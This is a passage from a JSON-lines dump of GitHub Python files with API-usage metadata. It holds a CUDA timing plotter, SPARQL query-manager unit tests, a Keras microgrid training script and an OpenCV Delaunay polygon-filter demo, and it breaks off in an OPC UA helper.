"concurrent_tree_crawler.abstract_node.NodeState", "line_number": 213, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.standard_node.StandardNode.__init__", "line_number": 214, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.standard_node.StandardNode", "line_number": 214, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.navigator_tree_wrapper.NavigatorTreeWrapper", "line_number": 223, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.navigator_tree_wrapper.NavigatorTreeWrapper.__init__", "line_number": 225, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.navigator_tree_wrapper.NavigatorTreeWrapper", "line_number": 225, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.navigator_tree_wrapper.NavigatorTreeWrapper.process_node_and_check_if_is_leaf", "line_number": 229, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.navigator_tree_wrapper.NavigatorTreeWrapper", "line_number": 229, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.multithreaded_crawler.MultithreadedCrawler", "line_number": 231, "usage_type": "name"}, {"api_name": "logging.ERROR", "line_number": 234, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.multithreaded_crawler.MultithreadedCrawler.__init__", "line_number": 235, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.multithreaded_crawler.MultithreadedCrawler", "line_number": 235, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.crawlers_manager.CrawlersManager", "line_number": 245, "usage_type": "call"}]} {"seq_id": "34588078410", "text": "#!/usr/bin/python3\n\n# File: A program which parses the input data from the tests, and creates plots.\n# Author: Ardalan Ahanchi\n# Date: Winter 2020\n\nimport re #For regex pattern recognition.\nimport sys #To read from stdin.\nimport matplotlib.pyplot as plot #For plotting.\nfrom mpl_toolkits import mplot3d #For 3D stuff.\n\n#A class which represents an output entry which will be plotted.\nclass Entry:\n #Default constructor for setting all the values.\n def __init__(self, transfer_to_dev, transfer_to_host, calc_time_cuda, calc_time_seq, n, blocks, threads):\n self.transfer_to_dev = transfer_to_dev\n self.transfer_to_host = transfer_to_host\n self.calc_time_cuda = calc_time_cuda\n self.calc_time_seq = calc_time_seq\n self.n = n\n self.blocks = blocks\n self.threads = threads\n\n#Create a regex pattern for matching the data from the output.\nregex_pattern = '\\[Cuda_Transfer_To_Device_Seconds\\]=(\\d.\\d+e[-+]\\d+).+\\[Cuda_Transfer_To_Host_Seconds\\]=(\\d.\\d+e[-+]\\d+).+\\[Cuda_Calculation_Time_Seconds\\]=(\\d.\\d+e[-+]\\d+).+\\[Sequential_Time_Seconds\\]=(\\d.\\d+e[-+]\\d+).+\\[N\\]=(\\d+).+\\[Blocks\\]=(\\d+).+\\[Threads\\]=(\\d+)'\n\n#Create an array for holding the parsed data entries.\ndata = []\n\n#Iterate through every line in stdin to read data.\nfor line in sys.stdin:\n #Match the pattern to the current line.\n regex_matched = re.match(regex_pattern, line)\n\n #If it matched, store the data in lists.\n if regex_matched:\n curr_entry = Entry(float(regex_matched.group(1)), float(regex_matched.group(2)),\\\n float(regex_matched.group(3)), float(regex_matched.group(4)),\\\n int(regex_matched.group(5)), int(regex_matched.group(6)),\\\n int(regex_matched.group(7)))\n\n data.append(curr_entry)\n else:\n print(\"Error: Could not parse data.\")\n\n\n#Figure 1\n##########################################################################################\nfig1_x_seq, fig1_x_cu_total, fig1_x_cu_calc_only = [], [], []\nfig1_y_seq, fig1_y_cu_total, fig1_y_cu_calc_only = [], [], []\nfig1_z_seq, fig1_z_cu_total, fig1_z_cu_calc_only = [], [], []\n\n#Iterate through the data and filter out the right points for drawing.\nfor ent in data:\n # fig1_x_seq.append(ent.calc_time_seq)\n # fig1_y_seq.append(ent.blocks)\n # fig1_z_seq.append(ent.threads)\n\n fig1_x_cu_total.append(ent.calc_time_cuda + ent.transfer_to_dev + ent.transfer_to_host)\n fig1_y_cu_total.append((ent.blocks * ent.threads))\n fig1_z_cu_total.append(ent.n)\n\n fig1_x_cu_calc_only.append(ent.calc_time_cuda)\n fig1_y_cu_calc_only.append((ent.blocks * ent.threads))\n fig1_z_cu_calc_only.append(ent.n)\n\n\n#Create the 3d plot.\nfig = plot.figure()\nax = plot.axes(projection='3d')\n\n#Set labels and plot it.\nplot.title(\"CUDA Total Time\")\nax.scatter3D(fig1_z_cu_total, fig1_y_cu_total, fig1_x_cu_total)\nax.set_xlabel(\"N (Size)\")\nax.set_ylabel(\"Total Threads (Threads * Blocks)\")\nax.set_zlabel(\"Time (Seconds)\")\nplot.show()\n\nplot.title(\"CUDA Calculations Only Time\")\nax.scatter3D(fig1_z_cu_calc_only, fig1_y_cu_calc_only, fig1_x_cu_calc_only)\nax.set_xlabel(\"N (Size)\")\nax.set_ylabel(\"Total Threads (Threads * Blocks)\")\nax.set_zlabel(\"Time (Seconds)\")\nplot.show()\n", "repo_name": "ArdalanAhanchi/Cuda_Vector_Addition", "sub_path": "plotter.py", "file_name": "plotter.py", "file_ext": "py", "file_size_in_byte": 3345, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.stdin", "line_number": 31, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}]} {"seq_id": "41530928125", "text": "import unittest\nimport json\nfrom typing import Dict\n\nfrom obasparql import QueryManager\nfrom obasparql.static import QUERY_TYPE_GET_ALL_USER, QUERY_TYPE_GET_ONE_USER\nfrom tests.settings import model_catalog_queries_dev, model_catalog_context_dev, model_catalog_endpoint_dev, \\\n model_catalog_graph_base_dev, model_catalog_prefix_dev\n\n\nclass TestQuery(unittest.TestCase):\n @staticmethod\n def generate_graph(username):\n return \"{}{}\".format(model_catalog_graph_base_dev, username)\n\n def setUp(self):\n self.query_manager = QueryManager(queries_dir=model_catalog_queries_dev,\n context_dir=model_catalog_context_dev,\n endpoint=model_catalog_endpoint_dev,\n named_graph_base=model_catalog_graph_base_dev,\n uri_prefix=model_catalog_prefix_dev)\n\n self.username = \"mint@isi.edu\"\n self.usergraph = self.generate_graph(self.username)\n\n def test_get_all_with_pagination(self):\n \"\"\"\n Test to obtain all the resources related to type\n \"\"\"\n owl_class_name = \"ModelConfiguration\"\n owl_class_uri = \"https://w3id.org/okn/o/sdm#ModelConfiguration\"\n query_type = QUERY_TYPE_GET_ALL_USER\n\n grlc_request_args = {\n \"type\": owl_class_uri,\n \"g\": self.usergraph,\n \"per_page\": 2,\n \"page\": 1\n }\n\n results = self.query_manager.run_query_get(query_directory=owl_class_name, owl_class_uri=owl_class_uri,\n query_type=query_type, request_args=grlc_request_args)\n assert(results)\n assert(results[0]['hasComponentLocation'])\n assert(results[0]['hasComponentLocation'][0])\n self.assertNotIn('type', results[0]['hasComponentLocation'][0])\n\n def test_get_all_with_pagination_dataset(self):\n \"\"\"\n Test to obtain all the resources related to type\n \"\"\"\n owl_class_name = \"ModelConfiguration\"\n owl_class_uri = \"https://w3id.org/okn/o/sd#DatasetSpecification\"\n query_type = QUERY_TYPE_GET_ALL_USER\n\n grlc_request_args = {\n \"type\": owl_class_uri,\n \"g\": self.usergraph,\n }\n\n results = self.query_manager.run_query_get(query_directory=owl_class_name, owl_class_uri=owl_class_uri,\n query_type=query_type, request_args=grlc_request_args)\n assert(results)\n\n\n def test_get_one_parameter(self):\n \"\"\"\n Test to obtain one resource by its uri\n \"\"\"\n owl_class_name = \"ModelConfiguration\"\n owl_class_uri = \"https://w3id.org/okn/o/sd#Parameter\"\n resource_uri = \"https://w3id.org/okn/i/mint/fd21cf17-f9b0-40d3-99b2-9ed2469c745f\"\n query_type = QUERY_TYPE_GET_ONE_USER\n\n request_args: Dict[str, str] = {\n \"resource\": resource_uri,\n \"g\": self.usergraph\n }\n\n resource = self.query_manager.run_query_get(query_directory=owl_class_name, owl_class_uri=owl_class_uri,\n query_type=query_type, request_args=request_args)\n self.assertIn(\"Parameter\", resource['type'][0])\n self.assertIn(\"position\", resource)\n self.assertEqual(resource[\"id\"], resource_uri)\n\n def test_get_one(self):\n \"\"\"\n Test to obtain one resource by its uri\n \"\"\"\n owl_class_name = \"ModelConfiguration\"\n owl_class_uri = \"https://w3id.org/okn/o/sdm#ModelConfiguration\"\n resource_uri = \"https://w3id.org/okn/i/mint/pihm-v2\"\n query_type = QUERY_TYPE_GET_ONE_USER\n\n request_args: Dict[str, str] = {\n \"resource\": resource_uri,\n \"g\": self.usergraph\n }\n\n resource = self.query_manager.run_query_get(query_directory=owl_class_name, owl_class_uri=owl_class_uri,\n query_type=query_type, request_args=request_args)\n self.assertIn(\"ModelConfiguration\", resource['type'])\n self.assertEqual(resource[\"id\"], resource_uri)\n\n def test_get_one_setup_custom(self):\n \"\"\"\n Test to obtain one resource by its uri and a custon query\n \"\"\"\n owl_class_name = \"custom\"\n resource_uri = \"https://w3id.org/okn/i/mint/cycles-0.9.4-alpha-simple-pongo\"\n resource_type_uri = \"https://w3id.org/okn/o/sdm#ModelConfigurationSetup\"\n query_type = \"custom_modelconfigurationsetups\"\n\n # grlc args\n request_args: Dict[str, str] = {\n \"resource\": resource_uri,\n \"g\": self.usergraph\n }\n\n resource = self.query_manager.run_query_get(query_directory=owl_class_name, owl_class_uri=resource_type_uri,\n query_type=query_type, request_args=request_args)\n self.assertEqual(resource[\"id\"], resource_uri)\n\n # def test_post_simple(self):\n # \"\"\"\n # Test posting a simple resource. Post a person with name and email.\n # \"\"\"\n # owl_class_uri = \"https://w3id.org/okn/o/sd#Person\"\n # json_body = \"\"\" {\n # \"email\": [\n # \"test@test.test\"\n # ],\n # \"label\": [\n # \"Test Person\"\n # ],\n # \"type\": [ \n # \"https://w3id.org/okn/o/sd#Person\"\n # ]\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nothing = self.query_manager.post_resource(self.username,body,owl_class_uri)\n # self.assertEqual(response,201)\n # # Test if we can find the resource\n # resource_id = body[\"id\"]\n # print(resource_id)\n # # grlc args\n # request_args: Dict[str, str] = {\n # \"resource\": resource_id,\n # \"g\": self.usergraph\n # }\n # query_type = QUERY_TYPE_GET_ONE_USER\n # inserted_resource = self.query_manager.obtain_query(query_directory=\"Person\",\n # owl_class_uri=owl_class_uri,\n # query_type=query_type, request_args=request_args)\n # # if result is found, test passed.\n # self.assertEqual(len(inserted_resource), 1)\n\n # def test_post_simple_no_type(self):\n # \"\"\"\n # Test posting a simple person resource. The person is not inserted with class Person type.\n # \"\"\"\n # owl_class_uri = \"https://w3id.org/okn/o/sd#Person\"\n # json_body = \"\"\" {\n # \"email\": [\n # \"test@test.test\"\n # ],\n # \"label\": [\n # \"Test Person\"\n # ]\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nothing = self.query_manager.post_resource(self.username, body, owl_class_uri)\n # self.assertEqual(response, 201)\n # # Test if we can find the resource\n # resource_id = body[\"id\"]\n # # grlc args\n # request_args: Dict[str, str] = {\n # \"resource\": resource_id,\n # \"g\": self.usergraph\n # }\n # query_type = QUERY_TYPE_GET_ONE_USER\n # inserted_resource = self.query_manager.obtain_query(query_directory=\"Person\",\n # owl_class_uri=owl_class_uri,\n # query_type=query_type, request_args=request_args)\n # # if result is found, test passed.\n # self.assertEqual(len(inserted_resource), 1)\n\n # def test_post_simple_existing_id(self):\n # \"\"\"\n # Test inserting an id as part of the resource. The resource should not be created (error).\n # \"\"\"\n # owl_class_name = \"Person\"\n # owl_class_uri = \"https://w3id.org/okn/o/sd#Person\"\n # json_body = \"\"\" {\n # \"email\": [\n # \"test@test.test\"\n # ],\n # \"label\": [\n # \"Test Person\"\n # ],\n # \"id\":\"https://w3id.org/okn/i/mint/test_person\"\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nada = self.query_manager.post_resource(self.username, body, owl_class_uri)\n # self.assertEqual(407,response)\n\n # def test_post_complex(self):\n # \"\"\"\n # Test posting a resource which contains another resource (e.g. region with another region)\n # The higher level region has already an id\n # \"\"\"\n # owl_class_name = \"Region\"\n # owl_class_uri = \"https://w3id.org/okn/o/sdm#Region\"\n # json_body = \"\"\"{\n # \"label\": [\n # \"Ethiopia\"\n # ],\n # \"partOf\": [\n # {\n # \"id\": \"https://w3id.org/okn/i/mint/Africa\",\n # \"label\": [\n # \"Africa\"\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # }\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nothing = self.query_manager.post_resource(self.username, body, owl_class_uri)\n # self.assertEqual(response, 201)\n # # Test if we can find the resource\n # resource_id = body[\"id\"]\n # print(resource_id)\n # # grlc args\n # request_args: Dict[str, str] = {\n # \"resource\": resource_id,\n # \"g\": self.usergraph\n # }\n # query_type = QUERY_TYPE_GET_ONE_USER\n # inserted_resource = self.query_manager.obtain_query(query_directory=\"Person\",\n # owl_class_uri=owl_class_uri,\n # query_type=query_type, request_args=request_args)\n # # if result is found, test passed.\n # self.assertEqual(len(inserted_resource), 1)\n\n # def test_post_complex_list(self):\n # \"\"\"\n # Test posting a resource which contains a list of 2 resources:\n # Madrid is part of Comunidad de Madrid.\n # Madrid is also part of Spain.\n # \"\"\"\n # owl_class_name = \"Region\"\n # owl_class_uri = \"https://w3id.org/okn/o/sdm#Region\"\n # json_body = \"\"\"{\n # \"label\": [\n # \"Madrid\"\n # ],\n # \"partOf\": [\n # {\n # \"label\": [\n # \"Comunidad de Madrid\"\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # },\n # {\n # \"label\": [\n # \"Spain\"\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # }\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nothing = self.query_manager.post_resource(self.username, body, owl_class_uri)\n # self.assertEqual(response, 201)\n # # Test if we can find the resource\n # resource_id = body[\"id\"]\n # print(resource_id)\n # # grlc args\n # request_args: Dict[str, str] = {\n # \"resource\": resource_id,\n # \"g\": self.usergraph\n # }\n # query_type = QUERY_TYPE_GET_ONE_USER\n # inserted_resource = self.query_manager.obtain_query(query_directory=\"Region\",\n # owl_class_uri=owl_class_uri,\n # query_type=query_type, request_args=request_args)\n # # if result is found and has 2 partOf resources, test passed.\n # self.assertEqual(len(inserted_resource[0][\"partOf\"]), 2)\n\n # def test_post_complex_subresources(self):\n # \"\"\"\n # Test posting a resource which contains a chain of 4 resources:\n # Madrid is part of Spain, which is part of Europe, which is part of Earth\n # \"\"\"\n # owl_class_name = \"Region\"\n # owl_class_uri = \"https://w3id.org/okn/o/sdm#Region\"\n # json_body = \"\"\"{\n # \"label\": [\n # \"Madrid\"\n # ],\n # \"partOf\": [\n # {\n # \"label\": [\n # \"Spain\"\n # ],\n # \"type\": [\n # \"Region\"\n # ],\n # \"partOf\": [\n # {\n # \"label\": [\n # \"Europe\"\n # ],\n # \"type\": [\n # \"Region\"\n # ],\n # \"partOf\": [\n # {\n # \"label\": [\n # \"Earth\"\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # }\n # ]\n # }\n # ]\n # }\n # ],\n # \"type\": [\n # \"Region\"\n # ]\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nothing = self.query_manager.post_resource(self.username, body, owl_class_uri)\n # self.assertEqual(response, 201)\n # # Test if we can find the resource\n # resource_id = body[\"id\"]\n # print(resource_id)\n # # grlc args\n # request_args: Dict[str, str] = {\n # \"resource\": resource_id,\n # \"g\": self.usergraph\n # }\n # query_type = QUERY_TYPE_GET_ONE_USER\n # inserted_resource = self.query_manager.obtain_query(query_directory=\"Region\",\n # owl_class_uri=owl_class_uri,\n # query_type=query_type, request_args=request_args)\n # # if result is found and is part of part of part of Earth, then test pass\n # self.assertEqual(len(inserted_resource), 1)\n # self.assertIn(\"Earth\",(((body[\"partOf\"])[0][\"partOf\"])[0][\"partOf\"])[0][\"label\"])\n\n # def test_delete(self):\n # \"\"\"\n # Test deleting a simple resource. The resource gets inserted first.\n # \"\"\"\n # owl_class_uri = \"https://w3id.org/okn/o/sd#Person\"\n # json_body = \"\"\" {\n # \"email\": [\n # \"test@test.test\"\n # ],\n # \"label\": [\n # \"Test Person\"\n # ],\n # \"type\": [ \n # \"https://w3id.org/okn/o/sd#Person\"\n # ]\n # }\"\"\"\n # body = json.loads(json_body)\n # body, response, nothing = self.query_manager.post_resource(self.username, body, owl_class_uri)\n # self.assertEqual(response, 201)\n # # Delete inserted resource\n # resource_id = body[\"id\"]\n # print(resource_id)\n # body,response,nothing = self.query_manager.delete_resource(self.username,resource_id)\n # self.assertEqual(202,response)\n\n # def test_delete_malformed_query(self):\n # \"\"\"\n # Test issuing a bad formed delete query\n # \"\"\"\n # body, response, nothing = self.query_manager.delete_resource(\".,<>non_existing_graph\", \"https://w3id.org/okn/i/mint/cf0592dd-31ce-431a-96e7-f8566bcabe40\")\n # #TODO: must return 404\n # self.assertEqual(response,202)\n\n # def test_delete_complex_resource(self):\n # \"\"\"\n # Test deleting a resource which contains other resources. The behavior should be as in a simple resource.\n # TO DO\n # \"\"\"\n # # delete resource\n # # check resource exists\n #\n # def test_put(self):\n # \"\"\"\n # Test posting a simple resource\n # TO DO\n # \"\"\"\n # # check if resource exists\n # # create resource\n # # check if result exists\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n", "repo_name": "KnowledgeCaptureAndDiscovery/OBA_sparql", "sub_path": "tests/test_query_model_catalog_dev.py", "file_name": "test_query_model_catalog_dev.py", "file_ext": "py", "file_size_in_byte": 15876, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tests.settings.model_catalog_graph_base_dev", "line_number": 14, "usage_type": "argument"}, {"api_name": "obasparql.QueryManager", "line_number": 17, "usage_type": "call"}, {"api_name": "tests.settings.model_catalog_queries_dev", "line_number": 17, "usage_type": "name"}, {"api_name": "tests.settings.model_catalog_context_dev", "line_number": 18, "usage_type": "name"}, {"api_name": "tests.settings.model_catalog_endpoint_dev", "line_number": 19, "usage_type": "name"}, {"api_name": "tests.settings.model_catalog_graph_base_dev", "line_number": 20, "usage_type": "name"}, {"api_name": "tests.settings.model_catalog_prefix_dev", "line_number": 21, "usage_type": "name"}, {"api_name": "obasparql.static.QUERY_TYPE_GET_ALL_USER", "line_number": 32, "usage_type": "name"}, {"api_name": "obasparql.static.QUERY_TYPE_GET_ALL_USER", "line_number": 54, "usage_type": "name"}, {"api_name": "obasparql.static.QUERY_TYPE_GET_ONE_USER", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 75, "usage_type": "name"}, {"api_name": "obasparql.static.QUERY_TYPE_GET_ONE_USER", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 115, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 421, "usage_type": "call"}]} {"seq_id": "789361089", "text": "import tensorflow as tf\nimport numpy as np\nimport xgboost as xgb\nnp.random.seed(123)\nimport pandas\nimport keras.backend as K \nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport random\nrandom.seed(5) \n\nsess = tf.compat.v1.Session()\n\n# solar, wind, hydro, fuel cell, battery\nrated_power = [25, 20, 20, 15, 20]\n\nsolar = pandas.read_csv('solardata.csv')\n# averaging solar power for every 2 hrs\nfor i in range(12):\n solar[str(2*i+1)] = solar[str(2*i)]/2.0\n solar[str(2*i)] = solar[str(2*i + 1)]\n# print(solar[0:0])\n# print(solar)\n\n# wind = pandas.read_csv('wind.csv')\n\ndata = pandas.read_csv('train_x.csv')\nlabel = pandas.read_csv('train_y.csv')\nlabel = label.drop('5', axis=1)\nprint(label[0:])\nprint(data[0:1])\n# D = [[0,0,0,0,0,0]]*2500\n# L = [[0,0,0,0,0]]*2500\n# for i in range(2500):\n# D[i] = [data['0'][i], data['1'][i], data['2'][i], data['3'][i], data['4'][i], data['5'][i]]\n# L[i] = [label['0'][i], label['1'][i], label['2'][i], label['3'][i], label['4'][i]]\n# print(L)\ndef test_loss(y_true, y_pred):\n subt = K.cast(K.cast(y_true[0]/1000, 'int32') * 1000, 'float32')\n load = subt\n \n sqerr = (load - K.sum(y_pred))\n sqerr *= sqerr\n if K.greater(K.sum(y_pred), K.sum(y_true) - subt) :\n return K.sum(y_pred) + 100\n if K.greater(y_pred[0],y_true[0] - subt):\n return K.sum(y_pred) + 100\n for i in range(5):\n if K.greater(y_pred[i],y_true[i]):\n return K.sum(y_pred) + 100 \n if K.greater(K.cast(K.sum(y_pred), 'float32'), load):\n return K.sum(y_pred) + 100\n return sqerr\n\nmodel = Sequential()\nmodel.add(Dense(60, input_dim = 6, activation='relu'))\nmodel.add(Dense(60, activation='relu'))\nmodel.add(Dense(5, activation='sigmoid'))\nmodel.compile(loss=test_loss, optimizer='adam', metrics=['accuracy'])\n\n# train\nmodel.fit(data, label, nb_epoch=100)\n# score = model.evaluate(data, labels)\n# print(score)\nmodel.save('microgrid.h5')", "repo_name": "mnaveenkumar2009/Electrical-and-Electronics-Engineering", "sub_path": "Major Proj/main_code.py", "file_name": "main_code.py", "file_ext": "py", "file_size_in_byte": 1931, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.seed", "line_number": 4, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 4, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.backend.cast", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 39, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 42, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 42, "usage_type": "name"}, {"api_name": "keras.backend.greater", "line_number": 44, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 44, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 44, "usage_type": "call"}, {"api_name": "keras.backend.sum", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 45, "usage_type": "name"}, {"api_name": "keras.backend.greater", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 46, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 47, "usage_type": "name"}, {"api_name": "keras.backend.greater", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 49, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 50, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 50, "usage_type": "name"}, {"api_name": "keras.backend.greater", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 51, "usage_type": "name"}, {"api_name": "keras.backend.cast", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.backend.sum", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.backend.sum", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 52, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 58, "usage_type": "call"}]} {"seq_id": "5733045781", "text": "import copy\nimport numpy as np\nimport cv2 as cv\n\n\ndef polygon_filter(image,\n akaze_threshold=0.00001,\n additional_points=[],\n draw_line=False):\n \"\"\"ポリゴンフィルターを適用した画像を返す\n\n Args:\n image: OpenCV Image\n akaze_threshold: AKAZE Threshold\n additional_point: Subdiv2D Points for additional Insert\n draw_line: Whether to draw the sides of the triangle\n\n Returns:\n Image after applying the filter.\n \"\"\"\n height, width, _ = image.shape[0], image.shape[1], image.shape[2]\n\n # 特徴点抽出\n akaze = cv.AKAZE_create(threshold=akaze_threshold)\n key_points, _ = akaze.detectAndCompute(image, None)\n key_points = cv.KeyPoint_convert(key_points)\n\n # ドロネー図作成\n subdiv = cv.Subdiv2D((0, 0, width, height))\n\n subdiv.insert((0, 0))\n subdiv.insert((width - 1, 0))\n subdiv.insert((0, height - 1))\n subdiv.insert((width - 1, height - 1))\n subdiv.insert((int(width / 2), 0))\n subdiv.insert((0, int(height / 2)))\n subdiv.insert((width - 1, int(height / 2)))\n subdiv.insert((int(width / 2), height - 1))\n subdiv.insert((int(width / 2), int(height / 2)))\n for key_point in key_points:\n subdiv.insert((int(key_point[0]), int(key_point[1])))\n for additional_point in additional_points:\n subdiv.insert((int(additional_point[0]), int(additional_point[1])))\n\n triangle_list = subdiv.getTriangleList()\n triangle_polygons = triangle_list.reshape(-1, 3, 2)\n\n # ドロネー三角形用の色取得\n triangle_info_list = []\n for triangle_polygon in triangle_polygons:\n pt1 = (int(triangle_polygon[0][0]), int(triangle_polygon[0][1]))\n pt2 = (int(triangle_polygon[1][0]), int(triangle_polygon[1][1]))\n pt3 = (int(triangle_polygon[2][0]), int(triangle_polygon[2][1]))\n pt0 = (\n int((pt1[0] + pt2[0] + pt3[0]) / 3),\n int((pt1[1] + pt2[1] + pt3[1]) / 3),\n )\n color = tuple(image[pt0[1], pt0[0]])\n color = (int(color[0]), int(color[1]), int(color[2]))\n\n triangle_info_list.append([pt1, pt2, pt3, color])\n\n # 描画\n for triangle_info in triangle_info_list:\n pt1 = (int(triangle_info[0][0]), int(triangle_info[0][1]))\n pt2 = (int(triangle_info[1][0]), int(triangle_info[1][1]))\n pt3 = (int(triangle_info[2][0]), int(triangle_info[2][1]))\n contours = np.array([\n [pt1[0], pt1[1]],\n [pt2[0], pt2[1]],\n [pt3[0], pt3[1]],\n ])\n\n cv.fillConvexPoly(image, points=contours, color=triangle_info[3])\n\n if draw_line:\n cv.line(image, pt1, pt2, (255, 255, 255), 1, 8, 0)\n cv.line(image, pt2, pt3, (255, 255, 255), 1, 8, 0)\n cv.line(image, pt3, pt1, (255, 255, 255), 1, 8, 0)\n\n return image\n\n\ndef main():\n cap = cv.VideoCapture(0)\n\n while True:\n ret, frame = cap.read()\n if not ret:\n continue\n frame = cv.resize(frame, (960, 540))\n original_frame = copy.deepcopy(frame)\n\n frame = polygon_filter(frame,\n akaze_threshold=0.0002,\n additional_points=[[100, 0], [200, 0]],\n draw_line=True)\n\n cv.imshow('original', original_frame)\n cv.imshow('polygon filter', frame)\n key = cv.waitKey(1)\n if key == 27: # ESC\n break\n cap.release()\n cv.destroyAllWindows()\n\n\nif __name__ == '__main__':\n main()", "repo_name": "Kazuhito00/Polygon-Filter", "sub_path": "polygon_filter.py", "file_name": "polygon_filter.py", "file_ext": "py", "file_size_in_byte": 3557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.AKAZE_create", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.KeyPoint_convert", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.Subdiv2D", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.fillConvexPoly", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 91, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 92, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 105, "usage_type": "call"}]} {"seq_id": "26957952715", "text": "import sys\n\nfrom helper.DateHelper import DateHelper\nfrom opcua import ua, Client\n# from opcua.ua import DataValue\n\nfrom opcua.ua.uaerrors import BadNoMatch\n\nsys.path.insert(0, \"..\")\n\n__version__ = '0.6'\n__author__ = 'Sebastian Krahmer'\n\n\ndef format_textfile(mlist):\n result = []\n for i in mlist:\n a = i.replace('\\t', ' ')\n b = a.replace('\\n', ' ')\n c = b.replace(',0', ' ')\n d = c.replace(',', ' ')\n result.append(d)\n return result\n\n\ndef numbers_to_vartyps(arg):\n if arg == 2:\n return ua.VariantType.Int16\n elif arg 